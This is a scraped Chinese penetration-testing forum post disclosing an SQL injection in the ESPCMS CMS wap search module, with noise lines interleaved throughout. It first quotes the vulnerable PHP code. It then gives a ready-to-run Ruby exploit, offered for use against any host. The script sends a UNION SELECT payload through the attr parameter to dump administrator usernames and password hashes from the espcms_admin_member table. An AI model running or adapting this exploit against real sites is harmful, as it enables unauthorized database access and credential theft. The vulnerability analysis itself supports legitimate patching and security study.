中国网络渗透测试联盟
标题:
espcms wap模块搜索处SQL注入
[打印本页]
作者:
admin
时间:
2013-7-27 18:31
标题:
espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节
4 _* P, @5 p$ H# c L0 x8 _
0×2 PoC
2 y% t. }5 F) z+ x$ W
9 T/ t% Q9 r. |5 a' S
" V% Y% |: W# k% M3 p8 T5 ]
: H3 w5 D Z% d" @# f8 g& V" K
0×0 漏洞概述
3 P/ ^6 x1 w# F4 Q+ Q; j) I
' M5 `4 G6 X, P6 h7 A2 z: m* l- i
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
$ A2 @" C& N; E4 O- s
其在处理传入的参数时考虑不严谨导致
SQL注入
发生
" H) @8 p3 @6 S" a+ O1 G- p! c3 w
m0 E, v8 r; V c5 b0 G/ m
+ s/ \% e1 M6 g5 ^- e! _, D
0×1 漏洞细节
& c/ D( h5 L. U! i8 P% B" O
3 z4 |; j# s. W0 g5 ^# [
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
6 Z6 E! y/ h- l4 T3 r7 y
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
' \- o+ [" B4 `7 ]
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的
SQL注入
。
- ^2 P6 O& F6 C5 }' i1 c; o
" P) B1 r6 `/ n% L, C
在/interface/3gwap_search.php文件的in_result函数中:
9 g c+ c$ F" ] Q) J9 u
G# D1 ~# m n1 ]
{9 c$ L$ @: [% K( G9 n
, V0 q, M1 _3 m0 {, W* l
function in_result() {
/ G2 ]4 L3 N- `. K' y9 a5 Q
... ... ... ... ... ... ... ... ...
5 K: Q9 r% @8 j
$urlcode = $_SERVER[ 'QUERY_STRING '];
' v8 a1 g! V \. I1 W Y! S
parse_str(html_entity_decode($urlcode), $output);
8 k8 D. U! N3 A. M4 X2 p
8 @- W- h% V1 s
... ... ... ... ... ... ... ... ...
3 A: t# O7 k+ }: K/ b# d
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
`. |6 O, R( y5 |) J7 ?+ ^
- e& p6 f+ l0 A! J4 D7 H S
$db_table = db_prefix . 'model_att';
4 J" G' ]' x! ?* o* s# o4 E2 ~ ^2 h! @
$ m, }2 _4 S" Z' T3 _2 E
foreach ($output['attr' ] as $key => $value) {
/ X, Z% J2 ^3 v& F& Y& O
if ($value) {
9 L3 C7 r, V5 C3 B# t* Q% p* @9 g
) p1 e1 a' D7 }+ S, X
$key = addslashes($key);
1 n; t5 Y# R( X! x9 c c
$key = $this-> fun->inputcodetrim($key);
# B' ], N3 a+ |5 G) e
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
; _2 l: n: B" Q, {
$countnum = $this->db_numrows($db_table, $db_att_where);
6 k6 {( [2 ]" K( Q7 |, ^
if ($countnum > 0) {
4 n1 |8 e4 X* x- h7 b
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
& [( Q: g" S( X. L" i% W0 F
}
6 e. M+ L- i# Q; L# q! Q( s
}
% h$ @7 }2 W+ B8 M6 [5 r' A9 U
}
+ C4 j8 d6 M6 Y; L2 v
}
( r- _/ N6 K# W3 a
if (!empty ($keyword) && empty($keyname)) {
# k* p8 L9 P; K: T5 l+ M
$keyname = 'title';
4 ^6 s' d2 u% k! U$ E3 x
$db_where.= " AND a.title like '%$keyword%'" ;
5 v6 }& @; J! M
} elseif (!empty ($keyword) && !empty($keyname)) {
' m/ ]) [1 `# c% x# e! j
$db_where.= " AND $keyname like '% $keyword%'";
$ F9 b+ O5 ~ a! z0 I! O6 y. C
}
6 u G0 V! X: I
$pagemax = 15;
( i$ X5 B' _' S0 p$ S
1 n O# O5 i5 p/ j
$pagesylte = 1;
6 _' q3 R3 S7 c
( d! M/ m6 e) a( W8 K
if ($countnum > 0) {
$ J2 |) q( ^2 e7 Q
: Z% X8 |* Q6 @2 ^* S1 F) Z
$numpage = ceil($countnum / $pagemax);
- T) p# C& O% d! Y- g
} else {
, E& S1 u6 R6 h
$numpage = 1;
) L/ V$ ]5 Q, `+ [/ }; L: p/ p
}
1 f8 u1 c3 P! t
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
0 `9 P, e! Y9 [
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
, f1 J+ k. G$ T7 y, C" _( r
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
7 C8 Q/ @7 q( V+ H2 J3 R
... ... ... ... ... ... ... ... ...
7 p' M( f' U" N. ~$ G
}
" E ]* d1 k8 i0 ^1 N# y( D/ V
# V+ m: o8 l/ G# A& F
$ K2 m" z( D6 l& x# p H" W5 t" F
0×2 PoC
4 m# F6 z) t3 A3 M) B3 S* A3 g( j' J) b
- d. t9 s6 T& A
y# |( Y; k1 W6 I' ~# o$ P& z9 {# \$ [
" t9 j3 L. I N
require "net/http"
+ O# T* s( F- B6 a' A
: \' ]- p/ j8 b6 {$ c5 Q9 A" p& _
def request(method, url)
* T0 X5 L7 X |0 I# k
if method.eql?("get")
3 l2 I/ h Z5 {2 M( s6 I7 [0 @1 q" j
uri = URI.parse(url)
( c+ Z6 ~, l+ c5 U
http = Net::HTTP.new(uri.host, uri.port)
, p$ h R' B8 R6 M
response = http.request(Net::HTTP::Get.new(uri.request_uri))
1 }1 g# s, |% X8 \# v% T2 Y
return response
0 F, f. d) H# Y% E
end
) r% V. k7 Q* \$ Z2 N+ u0 }2 X* g7 F
end
! R; a+ u" C8 C% @7 R; T5 Y
4 a+ m9 a) d4 d: h6 F" F* n) |
doc =<<HERE
7 [6 Z/ O0 d* o, b$ _* y: u
-------------------------------------------------------
4 {$ E3 A6 R: R% {5 s$ K) P
Espcms Injection Exploit
2 w6 ~' H5 i- S; {
Author:ztz
( o8 V9 q% @6 }. Y( w' U% j
Blog:
http://ztz.fuzzexp.org/
8 L0 B; o7 c! A/ Z+ x, K6 m- j( [
-------------------------------------------------------
+ x5 Y; O/ P+ E, Z8 P3 O
9 E. H2 L5 t5 @& n6 f$ X3 ~6 o
HERE
5 j: P. j9 A/ k$ c+ B
8 Q+ J& V: x0 N
usage =<<HERE
- `1 b# f3 Z& R* P0 W0 w6 M; v; @
Usage: ruby #{$0} host port path
3 f6 s$ A0 H% m9 }! y
example: ruby #{$0}
www.target.com
80 /
1 @4 ~& }% P, O; _1 M; `
HERE
( o$ \, O: U' x3 z
! F% I5 H7 R6 n; n7 c3 i' k" u
puts doc
0 T ~. \+ j- p! V8 F& U& \
if ARGV.length < 3
! x' G5 M1 ]6 R: C
puts usage
, w8 i9 [, Y1 L$ S5 f$ W/ G
else
. _! n, a7 L3 S: B
$host = ARGV[0]
: w, E0 @, \, I/ @0 X2 }5 v; R
$port = ARGV[1]
% H$ C' n+ W7 k! m+ M& Z0 e
$path = ARGV[2]
2 O1 x4 d- Q7 J7 Z7 T) o: r7 C1 X
" m2 U5 r4 P' ?% Q! p9 [4 p
puts "
send request..."
8 V2 [$ F7 K, T, h( f
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
0 P, [( D, k# T; R
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
4 i' L0 l+ p6 v) r& Z( U
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
0 m/ b( {* @- B Z5 r% }; F
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
! G! F+ b% G! a- e0 U% q1 h
response = request("get", url)
* v9 Q% ^5 F: M- B
result = response.body.scan(/\w+&\w{32}/)
7 c: C! `" o; `3 C" ^, p* F) t7 s; U* O9 d
puts result
3 o- Z' P. [: E
end
5 o8 [5 ~# C j' H7 p; V ~
0 |; J" W2 w9 m- G; p, p; ^
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2